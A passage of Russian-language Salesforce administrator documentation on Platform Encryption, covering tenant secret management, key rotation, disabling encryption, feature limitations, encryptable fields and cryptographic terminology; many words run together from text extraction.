пользователям, имеющим доступ к файлам, независимо от полномочия «Просмотр зашифрованных данных».

10. Выполните пакетное шифрование текущих данных.

Включение функциишифрования платформы не инициирует автоматическое шифрование текущих данных поля
ифайла. Чтобызашифровать текущиеданныеполя, рекомендуемобновить записи, связанныесданнымиполя. Данное
действие инициирует шифрование для данных записей, поэтому шифрование текущих данных выполняется в
дежурном режиме. Чтобы зашифровать имеющиеся файлы, обратитесь в Salesforce.

11. Не рекомендуемшифровать данные типа «Валюта», «Число», «Дата» и «Дата/время».

Как правило, безопасность личных, конфиденциальных или регламентированных данных может достигаться без
шифрованиясвязанныхполейтипа «Валюта», «Число», «Дата» и «Дата/время». Шифрованиеданныхполейможет
иметь широкие функциональные последствия для всей платформы (например, сбои в отчетах по полям сводного
резюмирования, временных интервалах отчетов и вычислениях).

12. Уведомите пользователей о последствиях шифрования.

Прежде чем включить функциюшифрования платформы в производственной среде, рекомендуем уведомить
пользователей о возможных последствиях для бизнес-решения. Например, доведите до их сведения информацию
из раздела вопросов о шифровании платформы, где это требуется согласно вашим бизнес-процессам.

13. Проявите осторожность при предоставлении доступа для входа.

Если пользователь с полномочием «Просмотр зашифрованных данных» предоставляет доступ для входа другому
пользователю, то зашифрованныеполябудут доступныдругомупользователюдляпросмотра в видеобычного текста.

14. Зашифруйте данные посредством новейшего ключа.

Присозданиисекрета клиентаданныйключиспользуетсядляшифрованиявсехновыхданных. Темнеменее, текущие
конфиденциальныеданныеостаютсязашифрованнымипосредствомпредыдущихключей. Вданномслучаекомпания
Salesforceнастоятельнорекомендуетповторитьшифрованиеданныхполейпосредствомновейшегоключа. Обратитесь
за помощью по этому вопросу в Salesforce.

СМ. ТАКЖЕ:

Назад к родительской теме
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Настройка шифрования платформы

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Доступно в Salesforce
Classic и Lightning
Experience.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления секретами
клиента:
• «Управление ключами

шифрования»

Шифрованиеплатформыпозволяетпользователямуправлять собственнымисекретами
клиента, которые используются для извлечения ключейшифрования, защищающих
данные. Ключи никогда не сохраняются и не используются совместно в организации.
Взамен, они извлекаются по запросу из основного секрета и специального секрета
клиента, а затем кэшируются на сервере приложений.

Уникальный секрет клиента, созданный для организации, может повторяться,
архивироваться и передаваться другим пользователям на ответственное хранение.

Разработчики могут создавать секреты клиента путем кодирования вызова для объекта
TenantSecret в интерфейсе Salesforce API.

Важное замечание: Только авторизованные пользователи могут генерировать
секреты клиента на странице «Шифрование платформы». Обратитесь к
администратору Salesforce для назначения полномочия «Управление ключами
шифрования».

Создание секрета клиента
Создание уникального секрета клиента для вашей организации с последующим
предоставлением его уполномоченным лицам, чтобы те могли с его помощью
создавать новые ключишифрования данных.

Повтор ключейшифрования платформы
Необходиморегулярно генерироватьновыйсекрет клиентаивыполнять архивацию
ранее активного секрета клиента. Управляя жизненным циклом секретов клиентов
в своей компании, вы управляете жизненным циклом соответствующих ключейшифрования данных.

Экспорт и импорт секрета клиента
Секрет клиента является уникальным для организации и конкретных данных, к которым он применяется. В Salesforce
рекомендуютэкспортировать секрет клиента, чтобыгарантироватьдоступкданнымв тех случаях, когдапользователю
может требоваться получение повторного доступа к связанным данным.

Уничтожение секрета клиента
Рекомендуем уничтожать секреты клиента только в крайних случаях, когда доступ к связанным данным больше не
требуется. Секрет клиента является уникальным для организации и конкретных данных, к которым он применяется.
Уничтожение секрета клиента инициирует отмену доступа к связанным данным, кроме случаев предварительного
экспорта и последующего импорта ключа в систему Salesforce

Выключение шифрования платформы
Принеобходимости выключитешифрованиеплатформыдляполейилифайлов, либоодновременно. Выключение
шифрованияплатформынеинициируетпакетнуюрасшифровкузашифрованныхданныхивосстановлениефункций,
затронутых шифрованием. При необходимости обратитесь в компанию Salesforce.

СМ. ТАКЖЕ:

Полномочия пользователя для шифрования платформы

https://developer.salesforce.com/docs/atlas.en-us.api.meta/api/sforce_api_objects_tenantsecret.htm

Назад к родительской теме
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Создание секрета клиента

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Available in both Salesforce
Classic and Lightning
Experience.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления секретами
клиента:
• «Управление ключами

шифрования»

Создание уникального секрета клиента для вашей организации с последующим
предоставлениемего уполномоченнымлицам, чтобытемоглис егопомощьюсоздавать
новые ключишифрования данных.

1. Создайте свой секрет клиента.

a. Введите «Шифрование платформы» вполе «Быстрый поиск» вменю «Настройка»,
затем выберите «Шифрование платформы».

b. Щелкните «Создать секрет клиента».

2. Назначение полномочия «Управление ключамишифрования» доверенным лицам
для управления секретами клиента в организации.

Это полномочие можно добавить в профиль или набор полномочий. Ведите
«Профили» или «Наборы полномочий» вполе «Быстрый поиск» вменю «Настройка».

Прим.: Данные сведения относятся только к функциишифрования платформы
и не относятся к функции классического шифрования.

СМ. ТАКЖЕ:

Наборы полномочий

Профили

Повтор ключей шифрования платформы

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Доступно в Salesforce
Classic и Lightning
Experience.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления секретами
клиента:
• «Управление ключами

шифрования»

Необходимо регулярно генерировать новый секрет клиента и выполнять архивацию
ранее активного секрета клиента. Управляя жизненным циклом секретов клиентов в
своей компании, вы управляете жизненным циклом соответствующих ключей
шифрования данных.

Повтор ключей регулируется политиками безопасности в вашей организации. Можно
повторять секрет клиентараз в 24 часа впроизводственнойорганизацииикаждыечетыре
часа в безопасной среде. Основные секреты, используемые функцией формирования
ключа, повторяются в каждом основном выпуске системы Salesforce. Данный алгоритм
не влияет ни на ключи клиента, ни на зашифрованные данные до момента повтора
секрета клиента.

1. Проверьте состояния ключей в вашейорганизацииизменю «Настройка». Для этого
введите «Шифрование платформы» в поле «Быстрый поиск», затем выберите
«Шифрование платформы». Ключи могут быть активными, архивными или
уничтоженными.

АКТИВНО
Может использоваться для шифрования и расшифровки новых или текущих
данных.

ЗААРХИВИРОВАНО
Не может шифровать новые данные. Может использоваться для расшифровки
данных, зашифрованных ранее на момент его активности.
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УНИЧТОЖЕНО
Данный ключ не может шифровать или расшифровывать данные. Данные, зашифрованные на момент его
активности, не могут быть расшифрованы.

2. Введите «Шифрование платформы» в поле «Быстрый поиск» в меню «Настройка», затем выберите «Шифрование
платформы».

3. Щелкните «Создать секрет клиента».

4. Чтобы повторить шифрование текущих значений полей посредством нового секрета клиента, рекомендуем
отредактировать и сохранить зашифрованные поля посредством приложения Data Loader или другого инструмента.

Получитеданныедляобновленияпутемэкспортаобъектовчерез API-интерфейсилипутемзапускаотчета, содержащего
идентификатор записи. В результате включается служба шифрования для повторного шифрования имеющихся
данных с использованием новейшего ключа.

Прим.: Данные сведения относятся только к функциишифрования платформы и не относятся к функции
классического шифрования.

Экспорт и импорт секрета клиента

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Available in both Salesforce
Classic and Lightning
Experience.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления секретами
клиента:
• «Управление ключами

шифрования»

Секрет клиента является уникальнымдля организациии конкретныхданных, к которым
он применяется. В Salesforce рекомендуют экспортировать секрет клиента, чтобы
гарантировать доступ к данным в тех случаях, когда пользователю может требоваться
получение повторного доступа к связанным данным.

1. Введите «Шифрование платформы» в поле «Быстрый поиск» в меню «Настройка»,
затем выберите «Шифрование платформы».

2. Втаблицеприведенывашиключи, найдитенужныйсекретклиентаинажмитекнопку
«Экспорт».

3. Подтвердите выбор в окне предупреждения и сохраните экспортированныйфайл.

Имя файла имеет вид: tenant-secret-org-<код организации>-ver-<номер
версии секрета клиента>.txt. Например,
tenant-secret-org-00DD00000007eTR-ver-1.txt.

4. Отметьтеверсию, которуюэкспортируете, иприсвойтефайлупонятноеимя. Хранить
файл следует в надежном месте на случай необходимости его импорта обратно в
организацию.

Прим.: Сам экспортированный секрет клиента зашифрован.

5. Чтобы выполнить повторный импорт секрета клиента, последовательно выберите
пункты «Импорт» > «Выбратьфайл», а затем выберите нужныйфайл. Убедитесь,
что импортируемая версия секрета клиента является правильной.

Прим.: Данные сведения относятся только к функциишифрования платформы
и не относятся к функции классического шифрования.
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Уничтожение секрета клиента

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Available in both Salesforce
Classic and Lightning
Experience.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления секретами
клиента:
• «Управление ключами

шифрования»

Рекомендуем уничтожать секреты клиента только в крайних случаях, когда доступ к
связанным данным больше не требуется. Секрет клиента является уникальным для
организации и конкретных данных, к которым он применяется. Уничтожение секрета
клиента инициирует отмену доступа к связанным данным, кроме случаев
предварительного экспорта и последующего импорта ключа в систему Salesforce

Прим.: Присозданиибезопаснойорганизацииизпроизводственнойорганизации
и последующем уничтожении секрета клиента в безопасной организации
производственная организация продолжает использовать секрет клиента без
изменений.

1. Введите «Шифрование платформы» в поле «Быстрый поиск» в меню «Настройка»,
затем выберите «Шифрование платформы».

2. Выберите нужную строку таблицы, содержащей секреты клиента, ищелкните
«Уничтожить».

3. Данноедействиеинициируетотображениеокнапредупреждения. Чтобыуничтожить
выбранный секрет клиента, выполните указанные ниже действия.

a. Введите отображаемый текст.

b. Установите флажок, подтверждающий уничтожение секрета клиента.

c. Щелкните «Уничтожить».

Прим.: Данные сведения относятся только к функциишифрования платформы
и не относятся к функции классического шифрования.
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Выключение шифрования платформы

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Доступно в Salesforce
Classic и Lightning
Experience.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра настройки:
• «Просмотр настройки и

конфигурации»

Для отключения
шифрования:
• «Настройка

приложения»

Принеобходимости выключитешифрованиеплатформыдляполейилифайлов, либо
одновременно. Выключение шифрования платформы не инициирует пакетную
расшифровку зашифрованных данных и восстановление функций, затронутых
шифрованием. При необходимости обратитесь в компанию Salesforce.

1. Введите строку «Шифрование платформы» в поле «Быстрый поиск» меню
«Настройка» и выберите пункт «Шифрование платформы».

2. Очистите нужные поля.

3. Чтобы выключить шифрование полей, снимите флажок «Включить
зашифрованные стандартные поля».

4. Чтобы выключить шифрование файлов, установите флажок «Выключить
зашифрованныефайлы и вложения».

Ограниченияиособыеалгоритмы, применяемыек зашифрованнымполям, сохраняются
после выключения шифрования. Значения могут оставаться зашифрованными в
дежурномрежимеизамаскированнымивнекоторыхобластях. Всеранеезашифрованные
файлы и вложения остаются зашифрованными в дежурном режиме.

Зашифрованныеполяостаютсядоступнымипослевыключенияшифрования, домомента
уничтожения ключа, использованного для их шифрования.

СМ. ТАКЖЕ:

Назад к родительской теме

Принцип работы шифрования платформы

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Доступно в Salesforce
Classic и Lightning
Experience.

Шифрование платформыиспользует способышифрования данных, поддерживаемые
системой Salesforce по умолчанию. Оно позволяет шифровать данные, хранящиеся во
многих стандартныхинастраиваемыхполях, а такжефайлахивложениях. Шифрование
выполняется как при передаче данных по сети, так и в дежурном режиме, гарантируя их
защиту даже при попытках несанкционированного доступа ввиду наличия других
проблем в системе безопасности.

Шифрование файлов, полей и вложений не влияет на ограничения для хранилищ
организации.

Прим.: Данные сведения относятся только к функциишифрования платформы
и не относятся к функции классического шифрования.

Вопросышифрования платформы
Изучите возможные результатышифрования платформы перед его включением
для улучшения защиты данных в организации.
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Какие поля можношифровать?

Можношифровать определенные поля в объектах «Учетная запись», «Контакт», «Обращение» и «Комментарий к
обращению». Еслишифрование платформы включено, пользователи с полномочием «Просмотр зашифрованных
данных» могут просматривать содержимое зашифрованных полей, но пользователи без этого полномочия будут
видеть только скрытые значения (то есть значения, замененные звездочками).

Шифрование платформы, терминология
Для шифрования имеется своя собственная специальная терминология. Чтобы получить максимальную отдачу от
функцийшифрования платформы, рекомендуется ознакомиться с основными терминами, например «аппаратный
модуль безопасности», «повтор ключа» и «основной секрет».

Важные сведения: Процесс шифрования платформы
При отправке данных сервер приложений выполняет поиск специального ключашифрования данных в кэше. Если
ключне найден, сервер приложенийизвлекает зашифрованный секрет клиента из базы данных и запрашивает ключ
на сервере формирования ключа. Затем служба шифрования шифрует данные на сервере приложений.

Автоматическая проверка для шифрования платформы
При включениифункциишифрования система Salesforce автоматически проверяет организацию на наличие
возможных побочных эффектов и отображает соответствующее предупреждение при обнаружении параметров,
которые могут ставить под угрозу доступ к данным или препятствовать нормальной работе организации Salesforce.
Например, система блокирует операциюшифрования при попытке шифрования полей, используемых правилами
общего доступа на основе критериев.

Полномочия пользователя для шифрования платформы
Полномочия назначаются пользователям в соответствии с их ролями относительношифрования. Некоторым
пользователям потребуется полномочие «Просмотр зашифрованных данных». Некоторым потребуются другие
сочетания полномочий в целях выделения данных для шифрования или работы с ключамишифрования.

Доступность данных шифрования платформы
Пользователям и администраторам предоставляется информация на основе сочетания факторов, описанных ниже.
Однако можно контролировать доступ к конфиденциальным данным.

Развертывание шифрования платформы
Приразвертываниишифрованияплатформыворганизации, использующейтакиесредства, как Force.com IDE, Migration
Tool или Workbench, атрибут поля «Зашифровано» остается. Однако, если выполнять развертывание в организациях
с другими параметрамишифрования, результат зависит от того, включено ли шифрование платформы в целевой
организации.

Функционирование шифрования платформы в безопасной среде
При обновлении безопасной среды из производственной организации создается точная копия производственной
организации. Еслишифрованиеплатформывпроизводственнойорганизациивключено, токопируютсявсепараметры
шифрования, в том числе секреты клиентов, созданные в производственной организации.

В чем разница между классическимшифрованием ишифрованием платформы?

Классическое шифрование помогает защитить особый тип пользовательских текстовых полей, которые создаются
сэтойцелью. Спомощьюшифрованияплатформыможношифроватьразличные, широкоиспользуемыестандартные
поля, а также некоторые пользовательские поля и множество типов файлов. Кроме того, шифрование платформы
поддерживает организации-лица, обращения, поиск, поток, процессы утверждения и другие важнейшие функции
Salesforce.
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Вопросы шифрования платформы

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Доступно в Salesforce
Classic и Lightning
Experience.

Изучите возможные результатышифрования платформы перед его включением для
улучшения защиты данных в организации.

Некоторые приложения не работают с зашифрованными данными
Ниже перечислены компоненты, использование которых не поддерживается в
некоторых наборах функций Salesforce.

Последствия шифрования определенных полей
Шифрование заданного поля может иметь непредвиденные последствия. Прежде
чем шифровать поле, определите функцию, которая будет затронута.

Общие вопросышифрования платформы
Данные рекомендации применяются ко всем данным, которые шифруются
посредством функциишифрования платформы.

Некоторые приложения не работают с зашифрованными данными

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Доступно в Salesforce
Classic и Lightning
Experience.

Нижеперечисленыкомпоненты, использованиекоторыхнеподдерживаетсявнекоторых
наборах функций Salesforce.

Эти приложения не поддерживают данные, зашифрованные в дежурном режиме.
Изменения в списке неподдерживаемых приложений см. на этой странице.

• Chatter Desktop

• Connect Offline

• Data.com

• ExactTarget

• Exchange Sync

• Потоки

• Heroku Connect

• Компоненты Lightning

• Синхронизация организации

• Pardot

• Конструктор процессов

• Salesforce App for Outlook

• Salesforce Classic Mobile

• Salesforce for Outlook

• Salesforce IQ

• Salesforce to Salesforce

• Процессы Visual Workflow

• Wave

• Work.com
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Другие приложения

Некоторые приложения поддерживаются, но с оговорками.

• Транскрипты чата Live Agent не шифруются в дежурном режиме.

• Поле Web-to-Case поддерживается, поля «Веб-компания», «Веб-адрес», «Веб-имя» и «Веб-телефон» незашифровываются
в дежурном режиме.

Прим.: Данные сведения относятся только к функциишифрования платформы и не относятся к функции
классического шифрования.

СМ. ТАКЖЕ:

Назад к родительской теме

Последствия шифрования определенных полей

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Доступно в Salesforce
Classic и Lightning
Experience.

Шифрование заданного поля может иметь непредвиденные последствия. Прежде чем
шифровать поле, определите функцию, которая будет затронута.

Прим.: Данные сведения относятся только к функциишифрования платформы
и не относятся к функции классического шифрования.

ПоследствияОбъектПоле

Функция Salesforce to Salesforce не может
использоватьсядляпредоставленияобщегодоступа
к организациям.

ОрганизацияИмя

Значенияполей «Приветствие» и «Суффикс» могут
отображаться пользователям без полномочия
«Просмотр зашифрованных данных»
замаскированными даже при использовании
незашифрованных значений полей.

КонтактИмя

Пользователи без полномочия «Просмотр
зашифрованных данных» могут создавать записи

КонтактИмя

возможностей только посредством действий
публикатора Chatter, связанных списков на
страницахсведенийифункции «Быстроесоздание».

Функция Email to Salesforce не может принимать
входящие сообщения эл. почты.

КонтактЭл. почта

Значения полей, содержащие только символы,
которые не являются символами ASCII, могут

ЛюбойНастраиваемые
поля эл. почты

содержать не более 70 символов. При вводе
значений, которые не содержат символы ASCII,
компания Salesforce рекомендует создать правила
проверки для применения данных ограничений.

Значения полей, содержащие только символы,
которые не являются символами ASCII, могут

ЛюбойНастраиваемые
поля телефона

содержать не более 22 символов. При вводе
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ПоследствияОбъектПоле

значений, которые не содержат символы ASCII, компания Salesforce
рекомендует создать правила проверки для применения данных
ограничений.

СМ. ТАКЖЕ:

Шифрование полей

Назад к родительской теме

Общие вопросы шифрования платформы

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Доступно в Salesforce
Classic и Lightning
Experience.

Данныерекомендацииприменяютсяковсемданным, которыешифруютсяпосредством
функциишифрования платформы.

Поиск

• Файлы поискового индекса не подлежат шифрованию.

• Если зашифровать данные с использованием ключа и затем уничтожить ключ, то
соответствующие критерии поиска останутся в индексе поиска. Однако нельзя
расшифровать данные, связанные с уничтоженным ключом.

SOQL/SOSL

• При запросе зашифрованных данных недопустимые строки возвращают ошибку
INVALID_FIELD вместо ожидаемой ошибки MALFORMED_QUERY.

• Ниже перечислены условия и функции SOQL/SOSL, которые не поддерживают
использование зашифрованных полей.

– Агрегатные функции (например, MAX(), MIN() и COUNT_DISTINCT())

– Условие WHERE

– Условие GROUP BY

– Условие ORDER BY

Совет: Посмотрите, можно ли заменить условия SOQL/WHERE на запросы SOSL/FIND. Например, SOQL/WHERE не
работают с зашифрованными полями в системах компьютерной телефонии (CTI).

Учетные записи, организации-лица и контакты

• Пришифровании какого-либо из следующих полей учетной записи соответствующие поля контакта также
зашифровываются (и наоборот).

– Имя

– Тел.

– Факс

• Пришифровании какого-либо из следующих полей учетной записи или контакта соответствующие поля в
организациях-лицах также зашифровываются.
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Имя–

– Почтовый адрес

– Тел.

– Факс

– Мобильный

– Дом. тел.

– Другой тел.

– Эл. почта

• Пришифровании поля «Название организации» или «Имя контакта» поиск повторяющихся организацией или
контактов не дает никаких результатов.

Пришифровании поля «Личное имя» или «Фамилия» для контакта он отображается в окне поиска «Календарь
приглашенных пользователей», но только при отсутствии фильтрации по имени или фамилии.

Контрольный журнал поля

Если в вашей организации включен «Контрольныйжурнал поля», то архивированные ранее данные нешифруются при
включениишифрования платформы. Например, в вашей организации с помощьюфункции «Контрольный журнал
поля» определяютполитику храненияданныхжурнала для такогополя учетной записикакполеномера телефона. После
включенияшифрованияплатформывывключаетешифрованиедля этогополяиданныетелефонныхномеровв учетной
записи будут шифроваться. Новые записи телефонных номеров будут шифроваться при создании. Кроме того, будут
шифроватьсяпрежниеобновлениявполетелефонногономера, которыехранятсяв связанномсписке, соответствующем
журналу учетной записи. Однако данные журнала телефонных номеров, уже архивированные в объекте
FieldHistoryArchive, по-прежнему будут храниться без шифрования. Если вашей организации требуется
зашифровать архивированные ранее данные, свяжитесь с Salesforce.

Макеты страниц

Припредварительномпросмотремакета страницыввидепрофилябезполномочия «Просмотрзашифрованныхданных»
тестовые данные предварительного просмотра не маскируются. Взамен, тестовые данные могут быть пустыми или
отображаться в виде обычного текста.

Эл. почта

• Придобавлениившаблоныэл. почтызначения зашифрованныхполейотображаютсяпользователямсполномочием
«Просмотрзашифрованныхданных» в видеобычноготекста. Впротивномслучаеполномочиятекущегопользователя
будут определять, что отобразится — обычный текст или скрытые данные.

• Пользователи без полномочия «Просмотр зашифрованных данных» не могут отправлять запросы об обновлении
контактов.

Действия

• Пришифровании поля «Имя контакта» поиск общедоступных действий не поддерживается.

• Если список, связанный с журналом действий, содержит ссылки на зашифрованные поля, то эти поляшифруются в
ихисходномконтексте. Самсписокнешифруется, инезашифрованныезначениявспискебудутвидныввидеобычного
текста.
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REST API

Пришифровании поля интерфейс REST API не может использоваться для отображения вариантов автозаполнения.

Импорт данных

Мастер импорта данных не может использоваться для выполнения сопоставления посредством взаимосвязей
«Основная — подробная» илиобновления записей, содержащих зашифрованныеполя. Впрочем, с егопомощьюможно
добавлять новые записи.

Отчеты

• Такиекомпонентыотчетов, какдиаграммыипанелимониторинга, накоторыхотображаютсязначениязашифрованных
полей, могут кэшироваться на диске в незашифрованном виде.

• Нельзя агрегировать, сортировать или фильтровать зашифрованные данные.

Exact Target

Приустановке коннектора Exact Target поле «Имяучетнойзаписи» нельзя зашифровать. Еслиполе «Имяучетнойзаписи»
зашифровано, коннектор Exact Target нельзя установить.

Кампании

Поиск участников кампании не поддерживается по зашифрованным полям.

Общие сведения

• Ниже перечислены компоненты, которые не поддерживают использование зашифрованных полей.

– Правила общего доступа на основе критериев.

– Критерии фильтрации для списковых представлений, отчетов и панелей мониторинга.

– Порталы: клиентский портал, портал самообслуживания и партнерский портал.

– Поиски похожих возможностей.

– Взаимосвязи внешнего поиска.

– Информационные таблицы.

– Критерии фильтра для средств управления данными.

• В мобильном приложении Salesforce1 в записях, клонированных пользователями без полномочий «Просмотр
зашифрованных данных», отображаются скрытые данные для зашифрованных полей.

• Транскрипты чата Live Agent не шифруются в дежурном режиме.

• Правила для повторов не поддерживаются.

• Поле Web-to-Case поддерживается, поля «Веб-компания», «Веб-адрес», «Веб-имя» и «Веб-телефон» незашифровываются
в дежурном режиме.

• Транскрипты чата Live Agent не шифруются в дежурном режиме.

• Если организация использует функцию управления повторами, на эту функцию могут повлиять зашифрованные
поля. Вчастности, правила соответствия, которыевключаютполя сшифрованиемплатформы, небудутобнаруживать
записи. Если для организации включеношифрование платформы, убедитесь, что в правила соответствия не входят
зашифрованные поля.
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• Поле Web-to-Case поддерживается, поля «Веб-компания», «Веб-адрес», «Веб-имя» и «Веб-телефон» незашифровываются
в дежурном режиме.

• Поля, содержащие атрибуты «Уникальное» или «Внешний код» либо добавление данных атрибутов для ранее
зашифрованных настраиваемых полей.

Прим.: Данные сведения относятся только к функциишифрования платформы и не относятся к функции
классического шифрования.

СМ. ТАКЖЕ:

Назад к родительской теме

Какие поля можно шифровать?

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Доступно в Salesforce
Classic и Lightning
Experience.

Можношифровать определенные поля в объектах «Учетная запись», «Контакт»,
«Обращение» и «Комментарийкобращению». Еслишифрованиеплатформывключено,
пользователисполномочием «Просмотрзашифрованныхданных» могутпросматривать
содержимоезашифрованныхполей, нопользователибез этогополномочиябудутвидеть
только скрытые значения (то есть значения, замененные звездочками).

В любом случае зашифрованные поля абсолютно нормально работают в
пользовательском интерфейсе, бизнес-процессах и API-интерфейсах Salesforce. (Есть
ряд исключений. Например, зашифрованные поля недоступны для сортировки.)

Привключениишифрованияимеющиеся значенияполей зашифровываютсяне сразу.
Значения шифруются только после того, как их укажет пользователь. Обратитесь к
Salesforce за помощью вшифровании имеющихся данных.

Зашифрованные стандартные поля

Можношифровать содержимое следующих стандартных типов полей.

• Объект «Организация»:

– Имя организации

• Объект «Контакт»:

– Эл. почта

– Факс

– Дом. тел.

– Почтовый адрес  (только поля «Улица в почтовом адресе» и «Город в почтовом адресе»)

– Мобильный

– Имя  (только поля «Личное имя», «Отчество» и «Фамилия»)

– Другой тел.

– Тел.

• В объекте «Обращение»:

– Тема

– Описание
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• В «Комментариях к обращению»:

– Текст

Зашифрованные настраиваемые поля

Можношифровать содержимое следующих типов настраиваемых полей.

• Эл. почта

• Тел.

• Текст

• Область текста

• Область подробного текста

• URL-адрес

Важное замечание: Послешифрованиянастраиваемогополяеготипнеможетбытьизменен. Форматнастраиваемых
полей телефона и адреса электронной почты также нельзя изменить.

Нельзя использовать ныне или ранее зашифрованные настраиваемые поля в полях настраиваемойформулы или в
правилах общего доступа на основе критериев.

Нельзя использовать конструктор схем для создания зашифрованного настраиваемого поля.

Некоторые настраиваемые поля шифровать нельзя.

• Поля, содержащие атрибуты «Уникальное» или «Внешний код», либо добавление данных атрибутов для ранее
зашифрованных настраиваемых полей

• Поля, используемые в полях настраиваемых формул

• Поля во внешних объектах данных

Прим.: Данные сведения относятся только к функциишифрования платформы и не относятся к функции
классического шифрования.

СМ. ТАКЖЕ:

Шифрование полей

Назад к родительской теме
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Шифрование платформы, терминология

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Доступно в Salesforce
Classic и Lightning
Experience.

Дляшифрованияимеется своя собственнаяспециальнаятерминология. Чтобыполучить
максимальнуюотдачуотфункцийшифрованияплатформы, рекомендуетсяознакомиться
сосновнымитерминами, например «аппаратныймодульбезопасности», «повторключа»
и «основной секрет».

Шифрование данных
Процессприменениякриптографическойфункциикданным, результатомкоторого
становится зашифрованный текст. Процесс шифрования платформы использует
шифрование симметричным ключом и алгоритм AES (256 бит) с использованием
режима CBC, отступа PKCS5 и рандомизированного 128-разрядного вектора
инициализации (IV) дляшифрования данных на уровне поля ифайлов, хранящихся
на платформе Salesforce. Операциишифрования и расшифровки данных
выполняются серверами приложений.

Ключишифрования данных
Функция шифрования платформы использует ключишифрования данных для
шифрованияи расшифровки данных. Ключишифрования данныхизвлекаются на
сервере формирования ключа посредством разделения ключевого материала между основным секретом каждого
выпуска и специальным секретом клиента, который хранится зашифрованным в базе данных как часть организации.
Производные ключи длиною 256 бит хранятся в памяти до момента их исключения из кэша.

Зашифрованные данные в дежурном режиме
Данные, зашифрованныевовремяхранениянадиске. СистемаSalesforceподдерживаетшифрованиеполей, хранящихся
в базе данных, документов, хранящихся в файлах, библиотеках содержимого и вложениях, а также архивных данных.

Управление ключамишифрования
Данное понятие охватывает все аспекты функции управления ключами (например, создание ключа, обработку и
хранение). Управлениесекретамиклиентовосуществляетсяадминистраторамиилипользователями, которыеобладают
полномочием «Управление ключамишифрования», предоставляемым в Salesforce по запросу.

Аппаратный модуль безопасности (HSM)
Аппаратныймодульбезопасностииспользуетсядляпредоставленияфункцийобработкикриптографиииуправления
ключамидляпроверкиподлинности. Функцияшифрованияплатформыиспользуетаппаратныемодулибезопасности
длясозданияихранениясекретногоматериала, а такжевыполненияфункции, котораяформируетключишифрования,
используемые службойшифрования для шифрования и расшифровки данных.

Вектор инициализации
Случайная последовательность, используемая совместно с ключом для шифрования данных.

Функцияформирования ключа (KDF)
Функцияформированияключаиспользует генераторпсевдослучайныхчиселивведенныеданные (например, пароль)
для извлечения ключей. Функция шифрования платформы использует функциюформирования ключа на основе
пароля 2 (PBKDF2) совместно с HMAC-SHA-256.

Повтор ключа (секрета клиента)
Процесс создания нового секрета клиента и архивирования ранее активного секрета клиента. Активные секреты
клиента используются операциямишифрования и расшифровки. Архивные секреты клиента используются только
операциямирасшифровкидомоментаповторногошифрования всех данныхпосредствомнового активного секрета
клиента.
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Основной аппаратный модуль безопасности
Основнойаппаратныймодульбезопасностисостоитиз USB-устройства, используемогодляформированиябезопасных
случайных секретов в каждом выпуске системы Salesforce. Основной аппаратный модуль безопасности физически
отделен от производственной сети Salesforce и безопасно хранится в депозитарии.

Основной секрет
Основной секрет, используемый совместно с секретом клиента и функцией формирования ключа для создания
производного ключа шифрования данных. Основной секрет обновляется компанией Salesforce в каждом выпуске и
шифруется сиспользованиемосновногоключаобработки (отдельногодлякаждойверсии), которыйзатемшифруется
с использованием открытого ключа сервераформирования ключей, так что его можно хранить в защищенном виде
вфайловойсистеме. Расшифроватьегомогут толькоосновныеаппаратныемодули. Данныеключинедоступнысотрудникам
Salesforce в виде открытого текста.

Основной ключ обработки
Формируется симметричныйключ, которыйиспользуется в качествеосновного ключаобработки, такженазываемого
ключом обработки ключей, и с помощью него шифруются все ключи по версиям, а также пакет секретов.

Секрет клиента
Специальныйсекрет, используемыйсовместнососновнымсекретомифункциейформированияключадля создания
производногоключашифрованияданных. Повторключа, выполняемыйадминистратороморганизации, инициирует
созданиеновогосекретаклиента. Чтобыполучитьдоступксекретуклиентапосредствоминтерфейса API, воспользуйтесь
объектом TenantSecret. Данные ключи недоступны сотрудникам Salesforce в виде открытого текста.

СМ. ТАКЖЕ:

Назад к родительской теме

